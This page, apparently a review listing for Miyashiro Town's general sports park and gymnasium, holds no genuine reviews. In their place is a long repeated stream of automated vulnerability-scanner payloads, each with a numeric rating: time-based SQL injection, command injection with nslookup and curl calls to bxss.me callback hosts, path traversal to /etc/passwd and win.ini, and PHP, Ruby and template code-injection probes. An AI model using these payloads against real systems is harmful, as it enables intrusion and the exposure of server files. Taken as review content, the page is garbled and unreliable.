宮代町総合運動公園・宮代町総合体育館（ぐるる宮代）

• 0.25

*if(now()=sysdate(),sleep(15),0)

• 0.25

-1" OR 5*5=25 --

• 0.25

-1' OR 5*5=25 --

• 0.25

-1" OR 5*5=25 or "Aa2JjLfB"="

• 0.25

-1 OR 5*5=25

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

&(nslookup -q=cname hitsoobqtruse89e1f.bxss.me||curl hitsoobqtruse89e1f.bxss.me)&'\"`0&(nslookup -q=cname hitsoobqtruse89e1f.bxss.me||curl hitsoobqtruse89e1f.bxss.me)&`'

• 0.50

9996654

• 0.50

".gethostbyname(lc("hitne"."cosdhpaa8a02b.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(74).chr(107).chr(80)."

• 0.50

• 0.00

'.print(md5(31337)).'

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hitmlogyamavu87467.bxss.me||curl${IFS}hitmlogyamavu87467.bxss.me)

• 0.50

";print(md5(31337));$a="

• 0.50

bxss.me

• 0.50

"+response.write(9933731*9183114)+"

• 0.50

response.write(9933731*9183114)

• 0.50

'"()&%r1gi(9446)

• 0.50

'.gethostbyname(lc('hitgn'.'urbgwqxc3e69a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(69).chr(120).chr(71).'

• 0.50

(nslookup -q=cname hithdrexezvct1031c.bxss.me||curl hithdrexezvct1031c.bxss.me))

• 0.50

expr 9000806220 - 976194

• 0.25

-1' OR 5*5=25 or 'MrSLlgmV'='

• 0.50

'+response.write(9933731*9183114)+'

• 0.50

place_reviews/.

• 0.50

place_reviews

• 0.50

;(nslookup -q=cname hitoxmlnovzgj1589e.bxss.me||curl hitoxmlnovzgj1589e.bxss.me)|(nslookup -q=cname hitoxmlnovzgj1589e.bxss.me||curl hitoxmlnovzgj1589e.bxss.me)&(nslookup -q=cname hitoxmlnovzgj1589e.bxss.me||curl hitoxmlnovzgj1589e.bxss.me)

• 0.50

';print(md5(31337));$a='

• 0.50

|echo kzaqxe$()\ egpndf\nz^xyu||a #' |echo kzaqxe$()\ egpndf\nz^xyu||a #|" |echo kzaqxe$()\ egpndf\nz^xyu||a #

• 0.50

"&&sleep(27*1000)*gxcjzn&&"

• 0.50

'"()&%r1gi(9267)

• 0.50

'"

• 0.50

|(nslookup -q=cname hitdsukqjhriza8db2.bxss.me||curl hitdsukqjhriza8db2.bxss.me)

• 0.50

'"()

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

^(#$!@#$)(()))******

• 0.50

!(()&&!|*|*|

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.50

&echo otvpaf$()\ btcrjd\nz^xyu||a #' &echo otvpaf$()\ btcrjd\nz^xyu||a #|" &echo otvpaf$()\ btcrjd\nz^xyu||a #

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

'A'.concat(70-3).concat(22*4).concat(98).concat(69).concat(114).concat(72)+(require'socket'
Socket.gethostbyname('hitav'+'zzfirpnw07097.bxss.me.')[3].to_s)

• 0.50

redirtest.acx

• 0.50

9198166

• 0.50

'"()&%OXSZ(9866)

• 0.50

gethostbyname(lc('hitir'.'euqqaarc4597d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(79).chr(116).chr(83)

• 0.50

'.gethostbyname(lc('hitcu'.'nbadflbqdbe21.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(74).chr(120).chr(79).'

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hitmsjgvazdpp9ecd0.bxss.me||curl${IFS}hitmsjgvazdpp9ecd0.bxss.me)

• 0.50

;(nslookup -q=cname hiteygcmxahrpdf92d.bxss.me||curl hiteygcmxahrpdf92d.bxss.me)|(nslookup -q=cname hiteygcmxahrpdf92d.bxss.me||curl hiteygcmxahrpdf92d.bxss.me)&(nslookup -q=cname hiteygcmxahrpdf92d.bxss.me||curl hiteygcmxahrpdf92d.bxss.me)

• 0.50

&nslookup -q=cname hitqnkhwyrneha29a6.bxss.me&'\"`0&nslookup -q=cname hitqnkhwyrneha29a6.bxss.me&`'

• 0.50

"+response.write(9697693*9817529)+"

• 0.50

'+response.write(9697693*9817529)+'

• 0.50

&(nslookup -q=cname hitnpicxjnlrfda885.bxss.me||curl hitnpicxjnlrfda885.bxss.me)&'\"`0&(nslookup -q=cname hitnpicxjnlrfda885.bxss.me||curl hitnpicxjnlrfda885.bxss.me)&`'

• 0.50

place_reviews/.

• 0.50

c:/windows/win.ini

• 0.50

'.print(md5(31337)).'

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

$(nslookup -q=cname hitynuyczinuvd84ce.bxss.me||curl hitynuyczinuvd84ce.bxss.me)

• 0.50

bxss.me

• 0.50

(nslookup -q=cname hitjdzfdmazcl78dda.bxss.me||curl hitjdzfdmazcl78dda.bxss.me))

• 0.50

place_reviews

• 0.50

|echo dujsaq$()\ zlmagj\nz^xyu||a #' |echo dujsaq$()\ zlmagj\nz^xyu||a #|" |echo dujsaq$()\ zlmagj\nz^xyu||a #

• 0.50

/etc/shells

• 0.50

&echo vywinc$()\ ateaxu\nz^xyu||a #' &echo vywinc$()\ ateaxu\nz^xyu||a #|" &echo vywinc$()\ ateaxu\nz^xyu||a #

• 0.50

echo vdpriw$()\ meyxuy\nz^xyu||a #' &echo vdpriw$()\ meyxuy\nz^xyu||a #|" &echo vdpriw$()\ meyxuy\nz^xyu||a #

• 0.50

${@print(md5(31337))}\

• 0.50

";print(md5(31337));$a="

• 0.50

';print(md5(31337));$a='

• 0.25

9374823

• 0.25

-1 OR 5*5=25 --

• 0.25

pXsYLqeN

• 0.50

gethostbyname(lc('hitun'.'mlfcfetpe5fa3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(73).chr(101).chr(72)

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitcklpyoaqtva2c70.bxss.me||curl${IFS}hitcklpyoaqtva2c70.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcklpyoaqtva2c70.bxss.me||curl${IFS}hitcklpyoaqtva2c70.bxss.me)&`'

• 0.50

${@print(md5(31337))}

• 0.50

&nslookup -q=cname hitxejadjeefp5e667.bxss.me&'\"`0&nslookup -q=cname hitxejadjeefp5e667.bxss.me&`'

• 0.50

c:/windows/win.ini

• 0.50

$(nslookup -q=cname hitaxpzecgwxic8a43.bxss.me||curl hitaxpzecgwxic8a43.bxss.me)

• 0.50

/etc/shells

• 0.50

'||sleep(27*1000)*sgmwit||'

• 0.50

'&&sleep(27*1000)*pwwnjw&&'

• 0.50

../

• 0.50

)

• 0.50

".gethostbyname(lc("hitmu"."nhkpfbvkf1985.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(67).chr(110).chr(79)."

• 0.50

${@print(md5(31337))}

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(112).concat(77)+(require'socket'
Socket.gethostbyname('hitpj'+'kjpwrxie7eb5d.bxss.me.')[3].to_s)

• 0.50

"||sleep(27*1000)*twwihi||"

• 0.50

"+"A".concat(70-3).concat(22*4).concat(113).concat(76).concat(97).concat(81)+(require"socket"
Socket.gethostbyname("hitdg"+"hkxmunypa754a.bxss.me.")[3].to_s)+"

• 0.25

'"()&%HId0(9186)

• 0.50

${@print(md5(31337))}\

• 0.50

`(nslookup -q=cname hitjugyywjugt94f15.bxss.me||curl hitjugyywjugt94f15.bxss.me)`

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(104).concat(82).concat(106).concat(87)+(require'socket'
Socket.gethostbyname('hitoz'+'bmbrdxvmc5bd5.bxss.me.')[3].to_s)+'

• 0.50

"||sleep(27*1000)*owfxlz||"

• 0.50

${9999297+9999773}

• 0.50

file:///etc/passwd

• 0.50

file:///etc/passwd

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

'"()&%OXSZ(9127)

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitcjiomfntli5671d.bxss.me||curl${IFS}hitcjiomfntli5671d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcjiomfntli5671d.bxss.me||curl${IFS}hitcjiomfntli5671d.bxss.me)&`'

• 0.50

• 0.50

|(nslookup -q=cname hititbsonexby07c38.bxss.me||curl hititbsonexby07c38.bxss.me)

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(119).concat(74).concat(108).concat(81)+(require'socket'
Socket.gethostbyname('hitfn'+'ltwyypfh9f7b8.bxss.me.')[3].to_s)+'

• 0.50

bxss.me/t/xss.html?%00

• 0.50

redirtest.acx

• 0.25

• 0.25

;(nslookup -q=cname hitvwecnjtmrsb63be.bxss.me||curl hitvwecnjtmrsb63be.bxss.me)|(nslookup -q=cname hitvwecnjtmrsb63be.bxss.me||curl hitvwecnjtmrsb63be.bxss.me)&(nslookup -q=cname hitvwecnjtmrsb63be.bxss.me||curl hitvwecnjtmrsb63be.bxss.me)

• 0.50

response.write(9697693*9817529)

• 0.50

^(#$!@#$)(()))******

• 0.25

response.write(9496852*9324024)

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitxbwvabxvsbcde67.bxss.me||curl${IFS}hitxbwvabxvsbcde67.bxss.me)

• 0.25

`(nslookup -q=cname hitbzpfcbdnoie537e.bxss.me||curl hitbzpfcbdnoie537e.bxss.me)`

• 0.25

|(nslookup -q=cname hitmwuwwxvslo80e5c.bxss.me||curl hitmwuwwxvslo80e5c.bxss.me)

• 0.25

gethostbyname(lc('hitna'.'frozsuig4a95f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(85).chr(113).chr(74)

• 0.50

`(nslookup -q=cname hitdbokqhlmpq4b6a7.bxss.me||curl hitdbokqhlmpq4b6a7.bxss.me)`

• 0.50

'||sleep(27*1000)*tflzus||'

• 0.50

"&&sleep(27*1000)*pqaaho&&"

• 0.50

'&&sleep(27*1000)*achivi&&'

• 0.50

'"()

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.50

)

• 0.50

bxss.me/t/xss.html?%00

• 0.50

echo jszlhh$()\ fnecos\nz^xyu||a #' &echo jszlhh$()\ fnecos\nz^xyu||a #|" &echo jszlhh$()\ fnecos\nz^xyu||a #

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.50

"+"A".concat(70-3).concat(22*4).concat(122).concat(68).concat(110).concat(87)+(require"socket"
Socket.gethostbyname("hitkv"+"uwgjhhmd61bd2.bxss.me.")[3].to_s)+"

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

'"

• 0.50

expr 9000708535 - 985561

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.50

!(()&&!|*|*|

• 0.25

'+response.write(9496852*9324024)+'

• 0.25

'"

• 0.25

$(nslookup -q=cname hituilcrtzsfn7c1e2.bxss.me||curl hituilcrtzsfn7c1e2.bxss.me)

• 0.25

(nslookup -q=cname hitukprkrtblb302d1.bxss.me||curl hitukprkrtblb302d1.bxss.me))

• 0.25

expr 9000561101 - 940700

• 0.25

place_reviews/.

• 0.25

"+response.write(9496852*9324024)+"

• 0.25

'"()&%HId0(9255)

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitnfybvhhrhe0ef8e.bxss.me||curl${IFS}hitnfybvhhrhe0ef8e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnfybvhhrhe0ef8e.bxss.me||curl${IFS}hitnfybvhhrhe0ef8e.bxss.me)&`'

• 0.25

&(nslookup -q=cname hityekafvmxcv79e2d.bxss.me||curl hityekafvmxcv79e2d.bxss.me)&'\"`0&(nslookup -q=cname hityekafvmxcv79e2d.bxss.me||curl hityekafvmxcv79e2d.bxss.me)&`'

• 0.25

&nslookup -q=cname hithujpvfeemi519f3.bxss.me&'\"`0&nslookup -q=cname hithujpvfeemi519f3.bxss.me&`'

• 0.25

".gethostbyname(lc("hittm"."qywqiyfm33d09.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(79).chr(105).chr(87)."

• 0.25

'.gethostbyname(lc('hitkd'.'rqyspabn1d3c1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(84).chr(106).chr(73).'

• 0.25

place_reviews

• 0.25

|echo lfajni$()\ kkcqka\nz^xyu||a #' |echo lfajni$()\ kkcqka\nz^xyu||a #|" |echo lfajni$()\ kkcqka\nz^xyu||a #

• 0.25

&echo vfgpto$()\ prwohk\nz^xyu||a #' &echo vfgpto$()\ prwohk\nz^xyu||a #|" &echo vfgpto$()\ prwohk\nz^xyu||a #

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

../

• 0.50

${9999840+9999592}

• 0.25

echo ehzbem$()\ phrdkm\nz^xyu||a #' &echo ehzbem$()\ phrdkm\nz^xyu||a #|" &echo ehzbem$()\ phrdkm\nz^xyu||a #

• 0.25

c:/windows/win.ini

• 0.25

9336720

• 0.25

'"()&%cjxY(9442)

• 0.25

'"()&%cjxY(9032)

• 0.25

'.gethostbyname(lc('hitut'.'rjghtjwx25161.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(115).chr(66).'

• 0.25

${@print(md5(31337))}

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

";print(md5(31337));$a="

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

&nslookup -q=cname hithamskpsrbe6e5e3.bxss.me&'\"`0&nslookup -q=cname hithamskpsrbe6e5e3.bxss.me&`'

• 0.25

${@print(md5(31337))}\

• 0.25

'"

• 0.25

gethostbyname(lc('hitbr'.'nzxeoqfk42393.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(85).chr(119).chr(76)

• 0.25

bxss.me

• 0.25

/etc/shells

• 0.25

|(nslookup -q=cname hitojoporiltte684c.bxss.me||curl hitojoporiltte684c.bxss.me)

• 0.25

'A'.concat(70-3).concat(22*4).concat(108).concat(68).concat(121).concat(82)+(require'socket'
Socket.gethostbyname('hitaa'+'hpjraffz211dc.bxss.me.')[3].to_s)

• 0.25

"+"A".concat(70-3).concat(22*4).concat(103).concat(65).concat(122).concat(88)+(require"socket"
Socket.gethostbyname("hitoi"+"ojqxvvyke9123.bxss.me.")[3].to_s)+"

• 0.25

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.25

".gethostbyname(lc("hitui"."ncgvuhvw491d3.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(81).chr(102).chr(81)."

• 0.25

place_reviews/.

• 0.25

place_reviews

• 0.25

bxss.me/t/xss.html?%00

• 0.25

';print(md5(31337));$a='

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

&(nslookup${IFS}-q${IFS}cname${IFS}hitoaqrikdwgmc4693.bxss.me||curl${IFS}hitoaqrikdwgmc4693.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoaqrikdwgmc4693.bxss.me||curl${IFS}hitoaqrikdwgmc4693.bxss.me)&`'

• 0.25

&echo qrcngy$()\ fpecat\nz^xyu||a #' &echo qrcngy$()\ fpecat\nz^xyu||a #|" &echo qrcngy$()\ fpecat\nz^xyu||a #

• 0.25

echo vcsmbd$()\ euqvze\nz^xyu||a #' &echo vcsmbd$()\ euqvze\nz^xyu||a #|" &echo vcsmbd$()\ euqvze\nz^xyu||a #

• 0.25

${9999145+9999725}

• 0.25

";print(md5(31337));$a="

• 0.25

"+"A".concat(70-3).concat(22*4).concat(116).concat(86).concat(107).concat(76)+(require"socket"
Socket.gethostbyname("hitqn"+"jxiiqmizc731f.bxss.me.")[3].to_s)+"

• 0.25

"&&sleep(27*1000)*bizybm&&"

• 0.25

../

• 0.25

'"()

• 0.25

"&&sleep(27*1000)*gxpmcx&&"

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

Http://bxss.me/t/fit.txt

• 0.25

(select 198766*667891)

• 0.25

${@print(md5(31337))}\

• 0.25

c:/windows/win.ini

• 0.25

&(nslookup -q=cname hitdgslkjnqcb4315e.bxss.me||curl hitdgslkjnqcb4315e.bxss.me)&'\"`0&(nslookup -q=cname hitdgslkjnqcb4315e.bxss.me||curl hitdgslkjnqcb4315e.bxss.me)&`'

• 0.25

$(nslookup -q=cname hitcsqqecqesx1c495.bxss.me||curl hitcsqqecqesx1c495.bxss.me)

• 0.25

(nslookup -q=cname hitwzrvdotlpu26645.bxss.me||curl hitwzrvdotlpu26645.bxss.me))

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

../../../../../../../../../../../../../../windows/win.ini

• 0.25

../../../../../../../../../../../../../../etc/passwd

• 0.25

${10000347+10000065}

• 0.25

'"

• 0.25

'.print(md5(31337)).'

• 0.25

../

• 0.25

"||sleep(27*1000)*mkkghf||"

• 0.25

'||sleep(27*1000)*tjqtxk||'

• 0.25

file:///etc/passwd

• 0.25

'&&sleep(27*1000)*yhucbf&&'

• 0.25

'"()

• 0.25

file:///etc/passwd

• 0.25

^(#$!@#$)(()))******

• 0.25

@@IMQZB

• 0.50

(select 198766*667891 from DUAL)

• 0.50

(select 198766*667891)

• 0.25

"+response.write(9175334*9744003)+"

• 0.25

'+response.write(9175334*9744003)+'

• 0.25

response.write(9175334*9744003)

• 0.25

• 0.25

|(nslookup${IFS}-q${IFS}cname${IFS}hitsnmkfgltkyff4b5.bxss.me||curl${IFS}hitsnmkfgltkyff4b5.bxss.me)

• 0.25

;(nslookup -q=cname hitdonyvxerdnb6e85.bxss.me||curl hitdonyvxerdnb6e85.bxss.me)|(nslookup -q=cname hitdonyvxerdnb6e85.bxss.me||curl hitdonyvxerdnb6e85.bxss.me)&(nslookup -q=cname hitdonyvxerdnb6e85.bxss.me||curl hitdonyvxerdnb6e85.bxss.me)

• 0.25

`(nslookup -q=cname hitifrywwsklj818e3.bxss.me||curl hitifrywwsklj818e3.bxss.me)`

• 0.25

^(#$!@#$)(()))******

• 0.25

!(()&&!|*|*|

• 0.25

'.print(md5(31337)).'

• 0.25

../../../../../../../../../../../../../../etc/shells

• 0.25

/etc/shells

• 0.25

bxss.me/t/xss.html?%00

• 0.25

'||sleep(27*1000)*wipnpo||'

• 0.25

redirtest.acx

• 0.25

!(()&&!|*|*|

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(120).concat(78).concat(108).concat(65)+(require'socket'
Socket.gethostbyname('hitwo'+'hvgdvmbz97eee.bxss.me.')[3].to_s)+'

• 0.25

expr 9000208233 - 981095

• 0.25

|echo rdhyno$()\ jwfmlq\nz^xyu||a #' |echo rdhyno$()\ jwfmlq\nz^xyu||a #|" |echo rdhyno$()\ jwfmlq\nz^xyu||a #

• 0.25

)

• 0.25

redirtest.acx

• 0.25

bxss.me

• 0.25

${@print(md5(31337))}

• 0.25

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.25

'A'.concat(70-3).concat(22*4).concat(110).concat(88).concat(114).concat(65)+(require'socket'
Socket.gethostbyname('hitbo'+'vpodqmtue7ffd.bxss.me.')[3].to_s)

• 0.25

"||sleep(27*1000)*kcrzyw||"

• 0.25

(select 198766*667891 from DUAL)

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

@@kKxBP

• 0.25

8gjNrwOh')) OR 240=(SELECT 240 FROM PG_SLEEP(15))--

• 0.50

'"

• 0.50

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.50

TLWsXhIU')) OR 86=(SELECT 86 FROM PG_SLEEP(15))--

• 0.25

'+'A'.concat(70-3).concat(22*4).concat(112).concat(89).concat(104).concat(71)+(require'socket'
Socket.gethostbyname('hitwt'+'tbexfuqpe6dc0.bxss.me.')[3].to_s)+'

• 0.25

)

• 0.50

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.50

TwcT3Xc7') OR 26=(SELECT 26 FROM PG_SLEEP(15))--

• 0.25

';print(md5(31337));$a='

• 0.25

HttP://bxss.me/t/xss.html?%00

• 0.25

-1)) OR 903=(SELECT 903 FROM PG_SLEEP(15))--

• 0.50

pkpYsWAO' OR 213=(SELECT 213 FROM PG_SLEEP(15))--

• 0.25

'&&sleep(27*1000)*dvvnau&&'

• 0.50

-1)) OR 444=(SELECT 444 FROM PG_SLEEP(15))--

• 0.50

-1) OR 349=(SELECT 349 FROM PG_SLEEP(15))--

• 0.50

-1 OR 576=(SELECT 576 FROM PG_SLEEP(15))--

• 0.25

uxDmp1Qy') OR 935=(SELECT 935 FROM PG_SLEEP(15))--

• 0.25

nmfQ5feM' OR 404=(SELECT 404 FROM PG_SLEEP(15))--

• 0.50

p0HYh4sn'; waitfor delay '0:0:15' --

• 0.50

-1 waitfor delay '0:0:15' --

• 0.25

-1; waitfor delay '0:0:15' --

• 0.25

-1) OR 603=(SELECT 603 FROM PG_SLEEP(15))--

• 0.25

-1 OR 985=(SELECT 985 FROM PG_SLEEP(15))--

• 0.25

lV55qQ5G'; waitfor delay '0:0:15' --

• 0.25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.50

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.50

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

• 0.25

-1" OR 5*5=25 or "6ef34YIb"="

• 0.25

-1 OR 5*5=25

• 0.25

-1 waitfor delay '0:0:15' --

• 0.25

-1); waitfor delay '0:0:15' --

• 0.50

-1); waitfor delay '0:0:15' --

• 0.50

-1; waitfor delay '0:0:15' --

• 0.25

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

• 0.25

-1 OR 5*5=25 --

• 0.50

-1 OR 5*5=25

• 0.50

-1" OR 5*5=25 or "fAvxZAou"="

• 0.50

-1" OR 5*5=25 --

• 0.50

-1' OR 5*5=25 --

• 0.50

response.write(9860340*9587297)

• 0.50

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 0.25

*if(now()=sysdate(),sleep(15),0)

• 0.25

-1' OR 5*5=25 or '5f2sanUO'='

• 0.25

HQUs5WiQ

• 0.50

'.print(md5(31337)).'

• 0.50

${@print(md5(31337))}\

• 0.50

echo ykkgyh$()\ yzygws\nz^xyu||a #' &echo ykkgyh$()\ yzygws\nz^xyu||a #|" &echo ykkgyh$()\ yzygws\nz^xyu||a #

• 0.50

9518214

• 0.50

".gethostbyname(lc("hitpr"."ivdkqcyo93278.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(80).chr(115).chr(66)."

• 0.50

'"()&%Ejqg(9865)

• 0.50

• 0.50

'"

• 0.50

place_reviews/.

• 0.50

c:/windows/win.ini

• 0.50

${@print(md5(31337))}

• 0.50

";print(md5(31337));$a="

• 0.50

place_reviews

• 0.50

`(nslookup -q=cname hitknebbbxxzqaf587.bxss.me||curl hitknebbbxxzqaf587.bxss.me)`

• 0.50

/etc/shells

• 0.50

|echo mszxlf$()\ spjosk\nz^xyu||a #' |echo mszxlf$()\ spjosk\nz^xyu||a #|" |echo mszxlf$()\ spjosk\nz^xyu||a #

• 0.50

ctime
sleep
p0
(I30
tp1
Rp2
.

• 0.50

'||sleep(27*1000)*qmgdng||'

• 0.50

*if(now()=sysdate(),sleep(15),0)

• 0.25

-1' OR 5*5=25 --

• 0.50

-1' OR 5*5=25 or 'Qn07Vn2W'='

• 0.50

"+response.write(9860340*9587297)+"

• 0.50

'+response.write(9860340*9587297)+'

• 0.50

'.gethostbyname(lc('hitjv'.'xhfcomkacd8fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(68).chr(115).chr(66).'

• 0.50

"||sleep(27*1000)*ludoje||"

• 0.50

'&&sleep(27*1000)*uwecut&&'

• 0.50

${@print(md5(31337))}\

• 0.50

• 0.50

${@print(md5(31337))}

• 0.50

";print(md5(31337));$a="

• 0.50

'.gethostbyname(lc('hitzi'.'zwllvnide07ee.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(70).chr(119).chr(74).'

• 0.50

'{"

• 0.50

'.print(md5(31337)).'

• 0.50

';print(md5(31337));$a='

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

gethostbyname(lc('hitsh'.'hfokwchdcaa55.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(73).chr(107).chr(81)

• 0.50

"+response.write(9581541*9513310)+"

• 0.50

'+response.write(9581541*9513310)+'

• 0.50

".gethostbyname(lc("hitea"."lhirvnhg7ad83.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(80).chr(98).chr(84)."

• 0.50

response.write(9581541*9513310)

• 0.50

Http://bxss.me/t/fit.txt

• 0.50

&(nslookup${IFS}-q${IFS}cname${IFS}hitydrcnszkej784d1.bxss.me||curl${IFS}hitydrcnszkej784d1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitydrcnszkej784d1.bxss.me||curl${IFS}hitydrcnszkej784d1.bxss.me)&`'

• 0.50

../../../../../../../../../../../../../../etc/shells

• 0.50

HttP://bxss.me/t/xss.html?%00

• 0.50

$(nslookup -q=cname hitqpuqmsznfh9fddf.bxss.me||curl hitqpuqmsznfh9fddf.bxss.me)

• 0.50

(nslookup -q=cname hitynnkmfnhag7bd48.bxss.me||curl hitynnkmfnhag7bd48.bxss.me))

• 0.50

"+"A".concat(70-3).concat(22*4).concat(101).concat(66).concat(107).concat(76)+(require"socket"
Socket.gethostbyname("hitrj"+"xgsixssqbe162.bxss.me.")[3].to_s)+"

• 0.50

'"()

• 0.50

../

• 0.50

file:///etc/passwd

• 0.50

(select 198766*667891 from DUAL)

• 0.50

-1 OR 5*5=25 --

• 0.50

gethostbyname(lc('hitno'.'afrbduwj2fbe2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(88).chr(110).chr(70)

• 0.50

bxss.me

• 0.50

&(nslookup -q=cname hitxkuecpdyuef733e.bxss.me||curl hitxkuecpdyuef733e.bxss.me)&'\"`0&(nslookup -q=cname hitxkuecpdyuef733e.bxss.me||curl hitxkuecpdyuef733e.bxss.me)&`'

• 0.50

bxss.me/t/xss.html?%00

• 0.50

../../../../../../../../../../../../../../etc/passwd

• 0.50

^(#$!@#$)(()))******

• 0.50

!(()&&!|*|*|

• 0.50

-1' OR 5*5=25 or 'KdOWeymw'='

• 0.50

;(nslookup -q=cname hitpgroqczgstf13f7.bxss.me||curl hitpgroqczgstf13f7.bxss.me)|(nslookup -q=cname hitpgroqczgstf13f7.bxss.me||curl hitpgroqczgstf13f7.bxss.me)&(nslookup -q=cname hitpgroqczgstf13f7.bxss.me||curl hitpgroqczgstf13f7.bxss.me)

• 0.50

expr 9000386897 - 963705

• 0.50

&echo noziaq$()\ wwrlvr\nz^xyu||a #' &echo noziaq$()\ wwrlvr\nz^xyu||a #|" &echo noziaq$()\ wwrlvr\nz^xyu||a #

• 0.50

'A'.concat(70-3).concat(22*4).concat(108).concat(65).concat(104).concat(73)+(require'socket'
Socket.gethostbyname('hitlu'+'croucwgr1c900.bxss.me.')[3].to_s)

• 0.50

)

• 0.50

-1" OR 5*5=25 --

• 0.50

-1' OR 5*5=25 --

• 0.50

"&&sleep(27*1000)*vcjuqr&&"

• 0.50

${9999024+9999415}

• 0.50

-1 OR 5*5=25

• 0.50

AiNTgbZp

• 0.25

-1" OR 5*5=25 --

• 0.50

BsXkpJFo

• 0.50

'"()&%Ejqg(9482)

• 0.50

|(nslookup${IFS}-q${IFS}cname${IFS}hitcdjvqnitlh807c8.bxss.me||curl${IFS}hitcdjvqnitlh807c8.bxss.me)

• 0.50

';print(md5(31337));$a='

• 0.50

|(nslookup -q=cname hityivvlxspai0ca06.bxss.me||curl hityivvlxspai0ca06.bxss.me)

• 0.50

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 0.50

&nslookup -q=cname hitoqunclwkvde7676.bxss.me&'\"`0&nslookup -q=cname hitoqunclwkvde7676.bxss.me&`'

• 0.50

'+'A'.concat(70-3).concat(22*4).concat(97).concat(66).concat(107).concat(82)+(require'socket'
Socket.gethostbyname('hitsb'+'xutqsagt3200c.bxss.me.')[3].to_s)+'

• 0.50

../../../../../../../../../../../../../../windows/win.ini

• 0.50

-1" OR 5*5=25 or "RNHE7NOW"="

• 0.50

-1 OR 5*5=25 --

• 0.25

(select 198766*667891 from DUAL)

• 0.50

redirtest.acx

• 0.25

(select 198766*667891)

• 0.25

@@LcECF

• 0.50

(select 198766*667891)

• 0.50

@@vqF6M

• 0.50

'"

• 0.25

'"

• 0.25

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 0.25

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 0.25

ZOWk5uLE')) OR 896=(SELECT 896 FROM PG_SLEEP(15))--

• 0.25

7zsrwivb' OR 628=(SELECT 628 FROM PG_SLEEP(15))--

• 0.25

-1)) OR 499=(SELECT 499 FROM PG_SLEEP(15))--

• 0.25

